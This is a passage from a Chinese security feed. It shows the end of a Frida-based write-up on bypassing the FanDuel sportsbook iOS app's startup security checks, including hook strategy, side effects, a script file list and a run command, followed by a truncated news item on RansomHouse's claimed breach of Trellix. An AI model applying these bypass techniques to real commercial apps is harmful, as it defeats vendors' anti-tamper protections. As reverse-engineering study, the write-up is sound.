leaf="">里</span><code><span leaf="">Thread.backtrace</span></code><span leaf="">+</span><code><span leaf="">DebugSymbol.fromAddress</span></code><span leaf="">把每层调用都解析出来，关键信息一行给出</span><code><span leaf="">Foundation!+[_NSPredicateUtilities _predicateSecurityAction]</span></code><span leaf="">就破案。</span></span></p></li><li><strong mpa-font-style="moxxn7ct1hwf" style="font-size: 15px;"><span leaf="">观察时序 + 排除法</span></strong><p><span mpa-font-style="moxxn7ctytv" style="font-size: 15px;"><span leaf="">先证明&#34;其他 app 活&#34;再证明&#34;本 app 专属&#34;；先证明&#34;exit hooks 没触发&#34;再思考是不是 mach 级；先把</span><code><span leaf="">/cores/.safe_mode</span></code><span leaf="">拦掉再看进程能不能多活一点。每一步都缩小搜索空间。</span></span></p></li><li><strong mpa-font-style="moxxn7ctj42" style="font-size: 15px;"><span leaf="">遇到 Frida API 疑难坑，fallback 到 C runtime</span></strong><p><span mpa-font-style="moxxn7ctqzt" style="font-size: 15px;"><code><span leaf="">objc_lookUpClass / class_getInstanceMethod / method_getImplementation</span></code><span leaf="">组合能搞定 95% 的&#34;ObjC.classes 拿不到&#34;问题。</span></span></p></li></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctuv3" style="font-size: 15px;"><span leaf="">14.4 已知副作用</span></span></h3><p><span mpa-font-style="moxxn7ctpm7" style="font-size: 15px;"><code><span leaf="">-[NSComparisonPredicate evaluateWithObject:substitutionVariables:]</span></code><span leaf="">被全局改成</span><code><span leaf="">return NO</span></code><span leaf="">，</span><strong><span leaf="">所有</span></strong><span leaf="">NSPredicate filter 都会返回空。对 bypass 启动足够，但 app 里任何依赖 predicate 的业务路径（搜索、筛选、缓存命中）都会失效。</span></span></p><p><span mpa-font-style="moxxn7ct1lni" style="font-size: 15px;"><strong><span leaf="">生产级收敛</span></strong><span leaf="">建议：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span mpa-font-style="moxxn7ct1td1" style="font-size: 15px;"><span leaf="">Hook</span><code><span leaf="">ServiceCore!initialize_framework_bundles</span></code><span leaf="">的 enter / leave（用</span><code><span leaf="">Module.findExportByName(&#39;ServiceCore&#39;, ...)</span></code><span leaf="">查，加载晚但在我们需要前能完成），设一个全局 flag</span><code><span leaf="">g_in_init_bundles</span></code><span leaf="">。</span></span></p></li><li><code mpa-font-style="moxxn7cty10" style="font-size: 15px;"><span leaf="">NSComparisonPredicate evaluate...</span></code><p><span mpa-font-style="moxxn7ct1cw" style="font-size: 15px;"><span leaf="">的 replacement 里读 flag：</span><code><span leaf="">if (g_in_init_bundles) return 0; else return original(...)</span></code><span leaf="">。</span></span></p></li><li><p><span mpa-font-style="moxxn7ct1by2" style="font-size: 15px;"><span leaf="">调用原 IMP 可以通过</span><code><span leaf="">Interceptor.replaceFast</span></code><span leaf="">拿到原函数指针（Frida 16 新增），或手动 save 原 IMP 再调。</span></span></p></li></ul><p><span leaf="" mpa-font-style="moxxn7ct1n4q" style="font-size: 15px;">这部分本次没做（够用就行），但要上生产得把它加上。</span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct122k" style="font-size: 15px;"><span leaf="">附：文件清单</span></span></h2><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1ztg"><span leaf="">fanduel_bypass/</span><span leaf=""><br/></span><span leaf="">├── bypass.js          最终生产脚本（<span class="code-snippet__number">3</span> fix 组合，~<span class="code-snippet__number">50</span> 行核心）</span><span leaf=""><br/></span><span leaf="">├── check_alive.py     Python 宿主：spawn → attach → <span class="code-snippet__built_in">load</span> → 监控存活</span><span leaf=""><br/></span><span leaf="">├── minimal.js         迭代版本，保留完整注释，便于对比</span><span leaf=""><br/></span><span leaf="">├── exception_only.js  对照组：只装异常处理器</span><span leaf=""><br/></span><span leaf="">├── diag.js / ...      早期诊断脚本（全量 msgSend 追踪、file probe 追踪）</span><span leaf=""><br/></span><span leaf="">├── run.py             / gate_launch.py / spawn_only.py   多种启动姿势</span><span leaf=""><br/></span><span leaf="">├── <span class="code-snippet__built_in">log</span>.txt            典型成功运行日志</span><span leaf=""><br/></span><span leaf="">├── README.md          简要说明</span><span leaf=""><br/></span><span leaf="">└── ANALYSIS.md        本文档</span></code></pre></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><strong mpa-font-style="moxxn7ct1cfy" style="font-size: 15px;"><span leaf="">最小可复现路径</span></strong></p></li></ul><p><span mpa-font-style="moxxn7ct1klu" style="font-size: 15px;"><code><span leaf="">frida -H 127.0.0.1 -f com.fanduel.sportsbook -l bypass.js -o log.txt</span></code></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><strong mpa-font-style="moxxn7ct20ao" style="font-size: 15px;"><span leaf="">自动化验证</span></strong></p></li></ul><p><span mpa-font-style="moxxmxfv1rj6" style="font-size: 14px;"><span mpa-font-style="moxxn7ct18zg" style="font-size: 15px;"><code><span leaf="">python check_alive.py bypass.js</span></code><span leaf="">→ 看到</span><code><span leaf="">BYPASS SUCCEEDED</span></code><span leaf="">即通过。</span></span></span></p><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);letter-spacing: 1px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: auto;margin-left: auto;padding: 15px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;font-variant-numeric: normal;letter-spacing: 0.544px;line-height: 27.2px;width: 656.688px;justify-content: space-between;align-items: center;flex-direction: row;box-shadow: rgb(217, 218, 218) 0px 0px 10px;background-color: rgb(232, 234, 235);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;justify-content: flex-start;align-items: center;flex-direction: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;border-width: 1px;border-style: solid;border-color: rgb(182, 182, 187);border-radius: 50%;width: 70px;height: 70px;overflow: hidden;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="220" style="-webkit-tap-highlight-color:transparent;outline:0px;border-style:none;letter-spacing:0.544px;display:inline;width:68px;visibility:visible !important;height:68px;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/Cpo2XCpI7K03YtIMMKIgglNH5nYmeHZtX1IaJZb5SBOS9ZiaLibVQ68aGXEMKibl1EQquV4jrFHJG4LLL6POs1YY2sL4wCiaprjxHv9qMO8K4OM/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="68" data-cropsely2="68" data-imgfileid="311130624" src="https://wechat2rss.xlab.app/img-proxy/?k=44cc5e0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K03YtIMMKIgglNH5nYmeHZtX1IaJZb5SBOS9ZiaLibVQ68aGXEMKibl1EQquV4jrFHJG4LLL6POs1YY2sL4wCiaprjxHv9qMO8K4OM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-left: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;align-items: flex-start;justify-content: center;flex-direction: column;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" data-immersive-translate-paragraph="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 15px;letter-spacing: 1px;font-weight: bolder;"><span leaf="">看雪ID：</span><span leaf="">zhuzhu_biu</span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: normal;"><span leaf=""><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://bbs.kanxue.com/user-home-878476.htm" target="_blank">https://bbs.kanxue.com/user-home-878476.htm</a></span></span></span></p></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;min-height: 1em;background-color: rgb(255, 255, 255);"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 14px;color: rgb(136, 136, 136);"><span leaf="">*本文为看雪论坛优秀文章，由 </span><span leaf="">zhuzhu_biu</span><span leaf="">原创，转载请注明来自看雪社区</span></span></p><div style="text-align: center;margin-left: 0px;margin-right: 0px;"><p style="text-align: center;margin-top: 16px;"><a href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458611117&amp;idx=1&amp;sn=f063788f8971edf449fd09571d515ba7&amp;scene=21#wechat_redirect" imgurl="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/640?wx_fmt=jpeg&amp;from=appmsg" linktype="image" tab="innerlink" data-itemshowtype="0" target="_blank" data-linktype="1"><span style="width:100%;" class="js_jump_icon h5_image_link"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.509375" data-s="300,640" data-type="jpeg" data-w="1280" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="233" data-backw="578" data-backh="294" data-imgfileid="311130825" src="https://wechat2rss.xlab.app/img-proxy/?k=5cafe0fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></a></p><p style="text-align: center;"><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">第十届安全开发者峰会【</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;margin-left: 0px;margin-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">议题征集</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">】-欢迎投稿</span></span></p></div><div mpa-from-tpl="t" data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 645px;vertical-align: top;background-color: rgb(248, 248, 248);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 20px;margin-bottom: 20px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;flex-flow: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: 30px;margin-left: 30px;-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(68, 73, 85);" data-mpa-action-id="mn46ojsngb5" data-pm-slice="0 0 []"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-weight: bolder;letter-spacing: 1px;font-size: 15px;color: rgb(2, 30, 170);" data-mpa-action-id="mc4gkooxw4z"><span style="color: rgb(2, 30, 170);font-size: 15px;" mpa-font-style="md8f6c2zutc"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"># 往期推荐</span></span></span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612348&amp;idx=1&amp;sn=9b1f49187644981e264882dedfde45f9&amp;scene=21#wechat_redirect" textvalue="安卓逆向基础知识之frida Hook" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">安卓逆向基础知识之frida Hook</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr65jp" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612341&amp;idx=1&amp;sn=08f4b531105ec2b3a44360f66169db05&amp;scene=21#wechat_redirect" textvalue="2025 强网杯和强网拟态部分题解" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">2025 强网杯和强网拟态部分题解</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61va5" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612340&amp;idx=1&amp;sn=0c799826addbc96801752a6c70938bf1&amp;scene=21#wechat_redirect" textvalue="在逆向分析方面-unidbg真的适合 MCP 吗？" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">在逆向分析方面-unidbg真的适合 MCP 吗？</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61ws2" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612335&amp;idx=1&amp;sn=ca23336eef45a4993cc6e5b191e62a61&amp;scene=21#wechat_redirect" textvalue="AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612118&amp;idx=2&amp;sn=47fe8a55e77b2ca8f2f8d73c9a9d99d0&amp;scene=21#wechat_redirect" textvalue="某安全so库深度解析" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">某安全so库深度解析</span></a></span></p></div></div></div></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-290966.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e8c76a0c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614768%26idx%3D1%26sn%3D20de81c1868c6e23fb49ed760d4470de">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>RansomHouse承认攻入Trellix，内部截图公开</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614768&amp;idx=2&amp;sn=3d368425ca0e56bf5fa6d9f78ed44835</link>
      <description>​源码仓库遭黑，勒索团伙晒图示威。</description>
      <content:encoded><![CDATA[<p><span>看雪学苑</span> <span>2026-05-09 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b239c702&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K349H2wdqN98GaKZrS7wWsqIOFobBc5HIU6GUsjVFmYQkgEzgEZrl1jMWy6muzcv0wUvluBZiajEzqRIRV8DicSvibQfVDBSXNxUU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>​源码仓库遭黑，勒索团伙晒图示威。</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">近日，网络安全厂商Trellix主动披露了一起安全事故：攻击者未经授权闯入了公司的部分源代码仓库。当时Trellix并未透露幕后黑手，只表示已紧急启动调查，并引入了专业取证团队，同时将案情通报了执法部门。</span></p><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;color: rgb(44, 74, 242);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><strong style="box-sizing: border-box;"><span leaf="">勒索组织“亮剑”：截图与声明并出</span></strong></p></div></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">就在外界还在猜测攻击者身份时，勒索组织RansomHouse站了出来。该团伙公开宣称对Trellix事件负责，并将这家安全公司挂上了自己在Tor网络中的数据泄露站点。为了证明所言非虚，</span><strong style="box-sizing: border-box;"><span leaf="">RansomHouse还贴出了一批内部系统访问界面的截图，画面中隐约可见Trellix的内部服务管理入口、代码库目录结构等内容，</span></strong><span leaf="">挑衅意味十足。</span></p><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;color: rgb(44, 74, 242);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><strong style="box-sizing: border-box;"><span leaf="">Trellix回应：暂无产品受损证据</span></strong></p></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">面对RansomHouse的公开喊话，Trellix方面延续了谨慎姿态。根据媒体获取的最新声明，公司重申正在与顶尖的法医专家合作处置，调查至今</span><strong style="box-sizing: border-box;"><span leaf="">并未发现源代码发布或分发流程受到影响，也没有证据表明源码遭到篡改或被实际利用。</span></strong><span leaf="">Trellix同时承诺，一旦调查全部完结，会酌情向更广泛的安全社区分享技术细节。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span 